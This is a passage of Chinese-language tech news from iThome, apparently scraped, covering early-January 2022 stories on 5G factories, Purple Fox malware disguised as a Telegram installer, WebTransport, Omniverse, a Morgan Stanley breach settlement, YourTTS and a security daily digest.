<p>另外，雲達也展示在生產線如何運用攝影機，拍攝產品影像，通過5G送到邊緣運算伺服器，進行AOI瑕疵檢測，用以取代人工檢測，避免漏檢的問題。而結合5G與AMR自主移動機器人，賦予原本只有搬運功能的AMR更多功能，由於AMR自主移動範圍較大，使用Wi-Fi可能有斷線的問題，因此結合5G網路，AMR的車控系統、手臂系統及影像探測系統，皆透過5G網路送至伺服器進行影像辨識，使其具備巡檢功能。</p> <p>林繼正表示，經過團隊過去一年努力，看到5G為智慧工廠帶來改變及效益，因此未來將在新工廠以5G全廠覆蓋的方式，進一步擴充應用，甚至將AR應用將帶到德國、美國的相關工廠，以滿足當地市場的需要，提高生產效率。</p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/QCT.jpg" style="width: 600px; height: 378px;" /></p> <p>至於5G為智慧工廠帶來什麼樣的效益？林繼正認為，最直接的是5G專網帶來新的設備連接方式。過去因高速傳輸、低延遲的需求，大多採用有線連接設備，使用授權無線頻段的5G則讓設備從有線轉為無線連接，其次是架構上的改變，過去由下而上的單機聯網，5G後促使系統設備萬物互聯，有了5G後可充分運用邊緣雲（Edge Cloud），企業可以集中預算，在邊緣雲部署AR、AI、設備管理，以及AMR調度管理。</p> <p>其次是應用場景上的改變，現代化的智慧工廠運用機器視覺，5G能夠更靈化運用機器視覺，讓原本只有搬運功能的AMR，結合機器視覺，額外具備巡檢的功能。另一例子是AR眼鏡，相機與5G網路，讓AR眼鏡在作業的同時也進行檢查；而在廠內物流方面，AGV過去從有線到無線，5G結合AMR，利用感測器偵測工廠內的環境，結合本地雲執行更多樣化的任務。</p> <p>目前雲達發展的5G智慧工廠應用，主要是基於3GPP R15版本的高速傳輸、低延遲特色去設計，林繼正透露，雲達團隊已針對R16，研究在5G智慧工廠的應用，並在明年到後年間推出基於R16版本應用。</p> </div></div></div>
2022/1/5 17:08作者蘇文彬https://www.ithome.com.tw/news/148724
惡意程式Purple Fox偽裝成Telegram App企圖感染Windows電腦
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit" target="_blank">安全廠商發現</a>，名為紫狐（Purple Fox）的惡意軟體近日藉由冒牌的Telegram安裝軟體在網路上散布，並且少有防毒軟體能偵測到。</p> <p>2018年現身的紫狐（Purple Fox）惡意軟體，它是一隻rootkit，一開始是透過網路釣魚電子郵件及漏洞開採散布，<a href="https://www.ithome.com.tw/news/143463" target="_blank">去年安全廠商Guardicore發現紫狐又新增了蠕蟲模</a>組，針對可存取網際網路，又可在內網透過SMB通訊協定互連的電腦，暴力破解帳號密碼，之後植入受害者電腦。</p> <p>安全廠商<a href="https://twitter.com/malwrhunterteam/status/1474846690674937860" target="_blank">MalwareHunterTeam</a>近日發現，Purple Fox又化身名為Telegram Desktop.exe的冒牌程式散布。<a href="https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit" target="_blank">根據安全廠商Minerva進一步分析</a>，「Telegram Desktop.exe」是以AutoIt腳本程式語言編譯而成，後者主要是用於Windows GUI自動化作業。在進入到受害者電腦後，這AutoIT腳本程式會先建立暫存檔資料夾，丟入合法的Telegram安裝器（installer）程式及惡意下載器（TextInputh.exe）。TextInputh.exe則啟動第二階段的攻擊，像是和外部C&C伺服器建立連線，多階段下載後續惡意檔案，目的在關閉奇虎360的防毒軟體行程，最後下載Purple Fox rootkit。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/0105-cyber-telegram-Purple%20fox.png" style="width: 600px;" /></p> <p><span style="color:#696969;">圖片來源_Minerva</span></p> <p>研究人員指出，這波攻擊高明之處在於多階段下載，每個階段都切分成多個看似無用的檔案，而沒有完整的檔案集。這也讓它得以避免眾多防毒工具的偵測。</p> <p class="rtecenter"><img alt="" src="https://blog.minerva-labs.com/hs-fs/hubfs/purple%20fox%20rootkit%20flow.png?width=788&name=purple%20fox%20rootkit%20flow.png" style="width: 525px;" /></p> <p><span style="color: rgb(105, 105, 105);">圖片來源_</span><span style="color: rgb(105, 105, 105);">Mi</span><span style="color: rgb(105, 105, 105);">nerva</span></p> <p>事實上該公司偵測到，近日有許多惡意下載器經由電子郵件、釣魚網站等散布Purple Fox rootkit。不過目前研究人員尚不知Purple Fox rootkit大幅度感染Windows電腦的用意為何，可能將之納入殭屍網路中，用以發動阻斷服務攻擊或散布其他惡意程式。</p> <p>Minerva研究人員發現它能關閉奇虎360的防毒程式，還會蒐集大量電腦環境資料，包括檢查是否有30多項防毒軟體產品，以及電腦主機名稱、磁碟類型、CPU、處理器、記憶體狀態等，並將資訊傳送到C&C伺服器。</p> <p>安全廠商也公布了Purple Fox的入侵指標（indicator of compromise）。</p> </div></div></div>
2022/1/5 14:53作者林妍溱https://www.ithome.com.tw/news/148719
Chrome 97加入實驗性低延遲雙向通訊WebTransport API
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://chromereleases.googleblog.com/2022/01/stable-channel-update-for-desktop.html">Chrome 97</a>已經進入穩定階段，開發團隊提到，在接下來幾天或是幾星期內便會正式推出，這個版本除了有許多功能改進與安全修補之外，值得關注的是，Chrome 97<a href="https://chromestatus.com/feature/4854144902889472">加入</a>了一個稱為<a href="https://web.dev/webtransport/">WebTransport的實驗性API</a>，提供類似WebSockets的介面，作為瀏覽器與伺服器間的安全多工通訊傳輸。</p> <p>目前網頁應用程式開發人員，有兩個遠端伺服器雙向通訊的API可以使用，分別是WebSockets和RTCDataChannel。WebSockets建立在TCP之上，因此具有所有TCP的缺點，包括隊頭阻塞（Head-of-Line Blocking），也缺乏對不可靠資料的傳輸，因此整體來說，不適合用於低延遲的應用程式，另一種RTCDataChannel則是以SCTP為基礎，雖然沒有WebSockets這些缺點，但是其被設計用於點對點傳輸目的，因此在客戶端與伺服器端配置的使用率相當低。</p> <p>而WebTransport的出現，便是要來解決這些問題，而且有望替代WebSockets。WebTransport是一個網頁API，使用HTTP/3協定，在網頁客戶端和HTTP/3伺服器間進行雙向傳輸，同時支援可靠與不可靠資料傳輸，以資料包（Datagram）API來傳輸不可靠資料，並且使用串流API來傳輸可靠資料。</p> <p>資料包API適合用來發送和接收不需要強交付保證的資料，單個資料包大小，會受底層連接的最大資料傳輸單元（MTU）限制，傳輸可能不成功，而且一旦傳輸，資料包可能以任意順序抵達目的地，這些特性使得資料包API，成為低延遲且最佳努力（Best Effort）的資料傳輸理想選擇。使用者可以直接把資料包視為UDP訊息，只是經過加密並且具有擁塞控制。</p> <p>相較於資料包API，WebTransport串流API提供可靠且有序的資料傳輸，非常適合需要發送或是接收，一個或是多個有序資料串流的應用，使用多個WebTransport串流類似建立多個TCP連接，但因為HTTP/3在底層使用了輕量級QUIC協定，因此開啟與關閉連接的成本更低。</p> <p>WebTransport是比WebSockets更全面的傳輸協定框架，WebTransport串流API能夠提供如同WebSockets，單一、可靠且有序的訊息串流模型，WebTransport資料包API又可提供低延遲交付、不保證可靠性和排序的資料傳輸。而且沒有WebSockets隊頭阻塞的問題，受益於底層QUIC交握，比透過TLS啟動TCP更快的優勢，建立新連結還具有效能優勢。</p> <p>只不過目前WebTransport只是W3C工作草案，在客戶端和伺服器函式庫生態系上，WebSocket還是更為完整，具有許多開箱即用的工具，WebTransport在Chrome上也僅是實驗性API，要進入穩定階段還需要一段時間。</p> <p>Google也提到，WebTransport在部分情境也能夠替代WebRTC資料通道，在運作HTTP/3相容伺服器上，配置設定也較WebRTC伺服器更少，且WebTransport API設計考慮了網頁開發人員的用例，因此和WebRTC資料通道介面相比，WebTransport使用起來更像是編寫現代網頁平臺程式碼。而且Web Worker支援WebTransport，開發者可以讓特定HTML頁面執行客戶端到伺服器的通訊。</p> <p>不過WebRTC資料通道支援點對點通訊，WebTransport僅支援客戶端到伺服器連接，因此當用戶有多個客戶端需要直接相互通訊，便無法使用WebTransport。Google表示，當開發者已經有一個不錯的WebRTC客戶端和伺服器端配置，切換到WebTransport可能不會獲得太多優勢。</p> </div></div></div>
2022/1/5 15:35作者李建興https://www.ithome.com.tw/news/148720
Nvidia元宇宙平臺Omniverse推出個人用免費版
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://blogs.nvidia.com/blog/2022/01/04/omniverse-available-free-to-creators/" target="_blank">繪圖晶片大廠Nvidia於本周二（1/4）宣布</a>，自2020年開始公開測試的元宇宙平臺<a href="https://www.nvidia.com/zh-tw/omniverse/creators/" target="_blank">Omniverse已推出供個人使用的免費版</a>，估計將造福全球數百萬名個人藝術家與創作者。</p> <p>Omniverse由5個主要元件組成，包括用來連結各種客戶端應用與Nucleus DB的Omniverse Connect，擔任資料庫及協作引擎角色的Omniverse Nucleus，用來打造原生Omniverse應用及微服務的工具組Kit，提供先進模擬能力的Simulation，以及能夠模擬實體世界光線環境的渲染平臺RTX，上述元件再加上所連結的第三方數位內容與微服務，構成了Omniverse生態系統。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/0105-Omniverse-Omniverse%20Connect%E3%80%81Nucleus%E3%80%81Kit%E3%80%81Simulation%E3%80%81RTX.png" style="width: 600px;" /></p> <p><span style="color: rgb(105, 105, 105);">圖片來源／Nvidia</span></p> <p>Nvidia原本只提供企業以付費訂閱方式使用Omniverse平臺，但為了擴大Omniverse的影響力，將允許採用GeForce RTX 及 Nvidia RTX GPU的創作者免費使用Omniverse。</p> <p>根據Nvidia的說法，自一年前發表Omniverse公開測試版以來，已有接近10萬名創作者下載Omniverse，他們藉由該平臺的渲染、實體模擬與人工智慧技術，加速處理各項3D作業流程。</p> <p>其中一名來自上海的數位藝術家許喆隆指出，Omniverse帶給內容創作者的不僅是高速渲染器，它是個強大的平臺，讓創作者能夠發揮無限的可能性。</p> <p>Nvidia認為，未來的元宇宙將充斥著由各種工具所打造的3D內容，不管是商店、住宅、人類、機器人、工廠或博物館，而Omniverse即可將這些獨立且分散的3D世界匯集成一個共享的虛擬場景。</p> <p>Nvidia本周亦發表了多個Omniverse新功能，例如允許創作者可輕鬆分享大型3D場景的Omniverse Nucleus Cloud一鍵協作功能；新增來自TurboSquid by Shutterstock、CGTrader、Sketchfab與Twinbru的3D市集及數位素材庫；以單一音軌替3D臉部製作動畫的Omniverse Audio2Face；在遊戲素材庫Omniverse Machinima中加入知名遊戲《機甲爭霸戰5 》（Mechwarrior 5）、《影武者3 》（Shadow Warrior 3）、《騎馬與砍殺II：領主》（Mount & Blade II: Bannerlord）及《戰術小隊》（Squad）的免費角色。迄今Omniverse已建立了14個可連結至各種外部應用程式的Connect，讓Omniverse用戶得以存取各種商業應用。</p> <p class="rtecenter"><img alt="" src="https://www.nvidia.com/content/dam/en-zz/Solutions/geforce/ces/audio2face/nvidia-omniverse-how-it-works-850-dl.jpg" style="width: 600px;" /></p> <p><span style="color:#696969;">Omniverse Audio2Face功能示意，圖片來源／Nvidia</span></p> </div></div></div>
2022/1/5 14:34作者陳曉莉https://www.ithome.com.tw/news/148717
伺服器報銷未清除客戶資料，摩根史坦利以6千萬美元和解資料外洩官司
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.reuters.com/markets/funds/morgan-stanley-pay-60-mln-resolve-data-security-lawsuit-2022-01-02/" target="_blank">路透社報導</a>，摩根史坦利（Morgan Stanley）因未將欲報銷的伺服器上的客戶資料清除就賣給他人，遭到客戶集體控告，本周同意以6,000萬元美元達成和解。</p> <p><a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-134.html" target="_blank">這樁案件起自2016年多達1500萬名客戶對該銀行提起的集體控</a>訴。2016年，摩根史坦利關閉美國境內二座財富管理業務部門的資料中心時，未能將伺服器上未加密的客戶資料刪除乾淨、就賣給了第三方業者。2019年這家銀行又出了一次類似的包，把內有客戶資料的網路系統賣給了外部業者。</p> <p>這些用戶於2016年對摩根史丹利提起告訴，雙方上周達成初步和解協議，並請求紐約法院同意。根據報導，受影響的客戶可獲得至少2年的詐欺保險賠償，並可申請最高10,000美元的現金補貼。</p> <p>摩根史坦利銀行指出，在資料外洩事件後該公司已經大幅強化其資料安全措施。</p> <p>美國貨幣總稽核辦公室（Office of the Comptroller of the Currency）介入調查本案，認為該公司未能有效解決報銷硬體的風險、適當處理客戶資料、評估報銷作業的委外作業風險，以及盡到選擇及監管委外廠商的責任，於2020年10月對摩根史丹利銀行及私人銀行部門，判處6,000萬美元的民事罰金。</p> <p><a href="https://www.ithome.com.tw/news/145578" target="_blank">這家華爾街銀行去年也曾因為IT委外商使用的Accellion檔案傳輸服務遭駭所累</a>，導致使用其股票管理服務StockPlan Connect的100多名客戶資料外洩。該公司於7月以<a href="https://www.doj.nh.gov/consumer/security-breaches/documents/morgan-stanley-20210702.pdf" target="_blank">信件通知受影響的客戶</a>。</p> </div></div></div>
2022/1/5 12:39作者林妍溱https://www.ithome.com.tw/news/148716
微軟與高通合作開發AR眼鏡專用晶片
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.qualcomm.com/news/releases/2022/01/04/qualcomm-announces-collaboration-microsoft-expand-and-accelerate-ar-usher" target="_blank">高通（Qualcomm）周二（1/4）宣布</a>，將與微軟合作共同擴大及加速消費者與企業對擴增實境（AR）的採用，包含開發客製化的AR晶片，以打造輕量級的AR眼鏡，攜手實現元宇宙（Metaverse）的願景。</p> <p>負責延展實境（Extended Reality，XR）的高通副總裁Hugo Swart指出，高通與微軟都相信元宇宙的未來，此次的合作反映了雙方對元宇宙及XR的承諾，在準備進入元宇宙之際，微軟將利用高通的空間運算專業與技術，打造新一代的頭戴式AR設備。</p> <p>雙方的合作除了研發輕量級的AR眼鏡之外，也計畫整合Microsoft Mesh及Snapdragon Spaces XR開發者平臺。</p> <p>統籌混合實境（MR）業務的微軟副總裁Rubén Caballero則說，藉由微軟的混合實境應用平臺Microsoft Mesh，他們將致力於提供最安全也最全面的能力，來推動結合實體及數位世界的元宇宙，最終將提供跨裝置且共享的存在體驗。</p> <p>這起消息暗示著微軟也將加入製造AR眼鏡的行列，且不僅是微軟，<a href="https://www.ithome.com.tw/news/148366" target="_blank">外傳蘋果與Google也將在今年推出AR/VR頭戴式裝置</a>，與市場上既有的Oculus及HTC等品牌競爭。</p> </div></div></div>
2022/1/5 12:02作者陳曉莉https://www.ithome.com.tw/news/148715
微軟緊急修補造成Windows Server遠端桌面無法連線、效能下降的臭蟲
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://docs.microsoft.com/en-us/windows/release-health/windows-message-center#2772" target="_blank">微軟昨（4）日釋出Windows Server例外修補程式</a>，以解決造成Windows Server Remote Desktop無法連線、運作變慢或停止回應的問題。</p> <p><a href="https://docs.microsoft.com/en-us/windows/release-health/status-windows-10-1809-and-windows-server-2019#2770msgdesc" target="_blank">微軟說明</a>，這問題發生在12月中釋出的KB5008218版更新，導致安裝的Windows Server機器發生螢幕變黑、登入服務或整體運作變慢，此外用戶也無法和伺服器建立遠端桌面（Remote Desktop）連線。部份用戶更發生Windows Server機器停止回應狀態。</p> <p class="rtecenter"><a href="http://docs.microsoft.com/en-us/windows/release-health/status-windows-10-1809-and-windows-server-2019#2770msgdesc" target="_blank"><img alt="" src="https://s4.itho.me/sites/default/files/images/0105-KB5008218.jpg" style="width: 600px;" /></a></p> <p>這隻臭蟲影響Windows Server 2022、2019、2016及Server 2012 R2。不過微軟昨日的例外修補，只修補了Windows Server 2019（<a href="https://support.microsoft.com/de-de/topic/january-4-2022-kb5010196-os-build-17763-2369-out-of-band-1a7a9a37-b154-4e73-92dc-1a2f65a4c0d1" target="_blank">KB5010196</a>）及 2012 R2（<a href="https://support.microsoft.com/zh-tw/topic/kb5010215-windows-server-2012-2021-%E5%B9%B4-12-%E6%9C%88-14-%E6%97%A5%E6%9B%B4%E6%96%B0%E4%B9%8B%E5%BE%8C-r2-%E5%81%9C%E6%AD%A2%E5%9B%9E%E6%87%89-b7c5219f-d865-489f-a02a-6652095439b5" target="_blank">KB5010215</a>）。微軟表示其他版本更新會在近日內釋出。</p> <p>微軟提醒，最新更新版本不會經由Windows Update自動安裝。<a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-server-update-services/manage/wsus-and-the-catalog-site#the-microsoft-update-catalog-site" target="_blank">管理員必須在Microsoft Update Catalog下載更新套件</a>，或是手動從Windows Server Update Service（WSUS）手動下載安裝。</p> </div></div></div>
2022/1/5 11:05作者林妍溱https://www.ithome.com.tw/news/148711
Google買下以色列資安新創Siemplify
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://cloud.google.com/blog/products/identity-security/raising-the-bar-in-security-operations" target="_blank">Google周二（1/4）宣布</a>，已經買下以色列的安全協調、自動化及回應（Security Orchestration, Automation and Response，SOAR）供應商Siemplify，雙方並未公布財務細節，但外傳此一交易價值5億美元，也是Google首次買下以色列的資安業者。</p> <p class="rtecenter"><img alt="" src="https://www.siemplify.co/wp-content/uploads/2022/01/SiemplifyGoogleSharing2.png" style="width: 450px;" /></p> <p><span style="color:#696969;">圖片來源_Siemplify</span></p> <p>Siemplify成立於2015年，專門提供SOAR解決方案，總部位於以色列特拉維夫，亦於紐約設有據點，全球約有150名員工，6年來所募集的資金為5,800萬美元。該公司主要協助組織的資安監控中心（SOC）有效率地辨識、調查及緩解資安威脅。</p> <p>Google表示，該公司與Siemplify都相信，安全分析師必須能夠在花費更少的力氣、擁有更少的專門知識下，就能解決愈趨複雜與更多的意外事件，藉由併購Siemplify，將一同改變組織如何辨識、偵測及回應威脅的規則。</p> <p>負責Google Cloud安全性的Google副總裁Sunil Potti表示，Siemplify是個非常直覺的平臺，讓安全團隊得以在管理威脅的同時降低解決威脅的成本，讓安全監控中心的分析師能夠執行端對端的安全管理，還能精確且快速地回應網路威脅，也能在每一次的分析互動中變得更聰明。</p> <p>此外，Siemplify所擁有的技術還能透過減少案件量、提高分析生產力，以及建立更視覺化的流程來改善SOC的效能。</p> <p>未來Siemplify團隊將併入Google Cloud的安全團隊，而Google也將會持續投資該公司所具有的SOAR能力，並整合到Google Chronicle安全服務中。</p> </div></div></div>
2022/1/5 11:14作者陳曉莉https://www.ithome.com.tw/news/148712
全球最大NFT市集OpenSea新一輪增資的市值可能高達130億美元
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>隨著非同質化代幣（Non-Fungible Token，NFT）的交易日益熱絡，被視為全球最大NFT市集的OpenSea身價也隨之水漲船高，<a href="https://www.newcomer.co/p/sources-opensea-eyes-13-billion-valuation" target="_blank">《Newcomer》本周引述消息來源報導</a>，OpenSea最近正要展開的新一輪增資，其市值的估價可能高達130億美元。</p> <p>OpenSea創立於2017年，為一NFT的交易市集，目前該平臺總計提供了超過2,300萬個NFT產品，類別橫跨音樂、藝術、照片或虛擬世界等。主要營收為在交易成功後，向賣家收取2.5%的酬庸。初期OpenSea僅提供網頁平臺，一直到去年9月才發表支援Android與iOS的行動程式。</p> <p>其實OpenSea甫於去年7月完成由a16z領銜的B輪增資，當時增資的金額為1億美元，所估計的身價為15億美元，然而，<a href="https://www.theinformation.com/articles/nft-marketplace-opensea-offered-10-billion-valuation" target="_blank">《The Information》去年11月揭露</a>，OpenSea打算展開新一輪的增資，但市值已增加至100億美元，12月再傳出OpenSea的市值已達到120億美元，本周再增加至130億美元，意味著NFT的熱度與投資人對OpenSea的興趣有增無減。</p> <p>NFT為奠基於區塊鏈上的代幣，每個NFT都是獨一無二的，主要作為數位資產的憑證，現階段多被應用於當作藝術品的所有權，有鑑於創作者在「每一次」的交易或轉手都能獲得10%的權利金，使得創作者紛紛進場測試，還藉由免費「空投」的手法散布自己創作的NFT，而吸引不少使用者加入，以收藏或交易。</p> <p>目前要價最高的NFT作品，為美國數位藝術家暨圖像設計師Mike Winkelmann所創作的《Everydays. The first 5000 days》，<a href="https://www.ithome.com.tw/news/143180" target="_blank">價格超過6,900萬美元</a>。</p> <p class="rtecenter"><a href="http://www.ithome.com.tw/news/143180" target="_blank"><img alt="" src="https://s4.itho.me/sites/default/files/styles/picture_size_large/public/field/image/0312-beeple.jpg?itok=Xok7L0Ab" style="width: 600px;" /></a></p> <p>然而，投入NFT仍有許多未解的風險，包括它無法可管，可能有眾多的詐騙事件，且它是透過以太幣交易，幣值的揮發或是產品的流動性都是投資者必須承擔的風險，很可能只是花錢買了一堆無用或無從轉手的數位憑證。</p> </div></div></div>
2022/1/5 09:25作者陳曉莉https://www.ithome.com.tw/news/148710
Coqui釋出零樣本文字轉語音模型YourTTS，較傳統TTS模型使用更少訓練資料集
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>人工智慧新創Coqui開發了新的低資源零樣本文字轉語音（Text-to-Speech，TTS）模型<a href="https://coqui.ai/blog/tts/yourtts-zero-shot-text-synthesis-low-resource-languages">YourTTS</a>，具有合成多種語言語音的能力，重要的是，該模型能夠利用共同學習技術，從各語言的訓練資料集轉換知識，來有效降低需要的訓練資料量，像是能以大量英語資料集進行共同學習，在YourTTS中添加巴西葡萄牙語。</p> <p>端到端深度學習模型不停地發展，現在文字轉語音已經能夠產生令人驚豔的自然聲音，研究人員表示，過去這些模型所使用的資料集，都需要單一說話者在專業環境中，錄製20到40小時的大量聲音。這種方式並非適用於每個人，難以擴展至多種語言和說話者，更別說主流研究通常不會針對低資源語言，因此也就更難普及。</p> <p>Coqui所釋出的YourTTS模型，便是要來解決這些問題，其主要有幾項特性，第一是能以單一模型合成多種語言的語音，第二是以單個模型，合成具有不同聲音的語音，第三則是零樣本學習，在不重新訓練模型的情況下，調整模型來合成新說話者的語音。用戶還能透過微調YourTTS預先訓練的模型，學習新的說話者或是語言，YourTTS也能將語音轉換成另外一種語言，或是改變特定語音的聲音。</p> <p>Coqui擴展其早前的研究成果SC-GlowTTS，開發出YourTTS。YourTTS使用一種稱為VITS的模型作為主幹，該模型在端到端文字轉語音上使用對抗學習和變分推理（Variational Inference）。研究人員還在YourTTS上，使用比過去更大的文字編碼器，YourTTS會使用單獨訓練的說話者編碼器模型，來計算說話者的嵌入向量，並將說話者的資訊傳遞給模型的其他部分。</p> <p>研究人員解釋，VITS是一種特殊的TTS模型，因為結合使用了不同的深度學習技術，能夠實現高品質的自然聲音輸出，其主要建立在GlowTTS模型之上，而GlowTTS模型的特性是輕巧，善於處理長句子，收斂速度也很快，但是其最大的缺點，是難以輸出自然且具表現力的聲音。而研究人員改進GlowTTS發展出VITS，能夠產生更高傳真度和準確韻律的語音。</p> <p>研究人員將YourTTS，與AttentronZS和SC-GlowTTS產生的結果相比，YourTTS在平均主觀意見得分（Mean Opinion Score，MOS）更高，而且在許多情況，YourTTS的表現比資料集中真實語音剪輯更好。</p> <p>在零樣本語音轉換上，無論是英語語音轉換成葡萄牙語，還是男性和女性聲音互換，都有良好的MOS值。經實驗，YourTTS只需要說話者20秒的語音，就足夠調整模型，以說話者的聲音產生高品質的語音輸出。</p> <p>現在已經可以在瀏覽器直接試用YourTTS，用戶只要提供自己的語音錄音，並且選擇目標語言，YourTTS就能夠以用戶的聲音，以目標語言念出用戶所輸入的文字。由於這項技術存在被濫用的可能性，Coqui正研究各種方法來防止TTS被用於惡意目的上，而在YourTTS的範例中，用戶所產生的語音會添加背景音樂，避免被用於意料之外的用途上。</p> </div></div></div>
2022/1/5 09:04作者李建興https://www.ithome.com.tw/news/148709
【資安日報】2022年1月4日，從網頁複製指令貼上恐被用於攻擊行動、偵測物聯網裝置威脅出現新的方法
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>從2022年元月開始，Log4Shell漏洞暫時沒有出現新的事故，但這個漏洞是否還會再遭到攻擊者利用？顯然還要進一步觀察。</p> <p>除了Log4Shell漏洞的情勢進展，大家習以為常的操作方式，也可能暗藏危機而值得留意。有研究人員提出警告，IT人員要特別留意從網站上複製、貼上指令碼的過程裡，有可能被竄改成攻擊命令而在貼上時不慎執行。</p> <p>而在使用者應特別留意上述的攻擊手法並加以防範之餘，物聯網（IoT）裝置的資安，也是在這類裝置近幾年大幅增加後，成為許多人關注的議題。但物聯網裝置運算資源有限，難以套用電腦的資安防護機制，近期有資安研究團隊公布他們研發的新偵測機制，就是透過裝置發出的電磁波，來識別物聯網裝置是否遭到惡意軟體入侵的現象，研究人員指出，該系統甚至能判斷惡意軟體的類型。</p> <p>在國家級的攻擊行動裡，攻擊者有可能先入侵防護能力較差的組織，再進一步朝攻擊目標下手。近期英國有退休將領透露，該國的國防培育學院遭到攻擊，為何會攻擊學校？該名將領認為，可能是將學校當作後門，來進一步攻擊其他國防單位。</p> <h3><strong>【攻擊與威脅】</strong></h3> <h4><a href="https://www.bleepingcomputer.com/news/security/dont-copy-paste-commands-from-webpages-you-can-get-hacked/"><span style="color: rgb(0, 0, 0);"><strong>小心！從網頁複製貼上文字，也可能執行攻擊者的命令</strong></span></a></h4> <p>從教學網站上複製命令，然後貼上命令提示字元視窗、終端機的畫面執行，可說是相當常見的做法。但資安教育訓練業者Wizer提出警告，因為攻擊者可以置換使用者複製的程式碼，而且在貼上之後立刻執行惡意指令。研究人員也製作概念性驗證的攻擊文字，表面上使用者是看到普通的Linux軟體更新指令，但在複製的過程中，攻擊者透過網站的程式碼，將剪貼簿的內容替換成惡意指令，使用者貼上命令列時，便會直接執行攻擊者替換的指令，即使後來察覺貼上的命令與本來看到的不同，也為時已晚。</p> <p>Wizer呼籲IT人員，可以考慮在貼上之前先加上”#”，讓命令變成註釋以避免貼上就立刻執行的情況，或是調整終端機的配置，指定在貼上”\n”（換行指令）時不會自動執行。</p> <h4><strong><a href="https://www.dailymail.co.uk/news/article-10365137/MoD-training-academy-targeted-sophisticated-cyber-attack-hostile-state.html"><span style="color: rgb(0, 0, 0);">英國國防培訓學院遭到攻擊，駭客意圖獲得軍事機密</span></a></strong></h4> <p>甫於去年8月離開英國軍隊的空軍元帥Edward Stringer，向當地媒體Sky News透露，國防培訓學院曾於2021年3月發現遭到網路攻擊，而被迫重新建置網路環境，迄今尚未完全復原。這名軍官表示，攻擊者瞄準國防培訓學院的目的，很可能是做為存取國防部（MoD）其他系統的跳板，但除了學校本身之外的單位並未受到影響。國防部發言人亦證實此事，並表示沒有影響該學院學生的學習。</p> <h4><strong><a href="https://www.jpost.com/israel-news/article-691342"><span style="color: rgb(0, 0, 0);">以色列新聞網站遭駭，疑與伊朗將領遇刺2週年有關</span></a></strong></h4> <p><a href="https://s4.itho.me/sites/default/files/images/492842.png"><img alt="" src="https://s4.itho.me/sites/default/files/images/492842.png" style="width: 300px; float: right;" /></a>耶路撒冷郵報（Jerusalem Post）指出，他們的網站在1月3日凌晨，疑似遭到親伊朗的駭客攻擊，在網站上植入一張圖片，內容是迪莫納核能設施遭到炸毀，並以英文和希伯來文寫下警語，表明攻擊者就在他們身邊，但是是在他們無法發現的地方。而這張圖片的左側還有一枚飛彈從戒指飛出，而這個戒指可能就是伊朗革命護衛警察（IRGC）指揮官Qasem Soleimani所有，意指該人在2020年前1月2日遭美國暗殺的事件。該媒體表示，目前攻擊來源尚不明朗，但這些駭客有可能受到國家支持。</p> <h4><a href="https://therecord.media/lapsus-ransomware-gang-hits-sic-portugals-largest-tv-channel/"><span style="color: rgb(0, 0, 0);"><strong>勒索軟體Lapsus$攻擊葡萄牙大型媒體集團</strong></span></a></h4> <p><a href="https://s4.itho.me/sites/default/files/images/Impresa-ransom.png"><img alt="" src="https://s4.itho.me/sites/default/files/images/Impresa-ransom.png" style="width: 300px; float: right;" 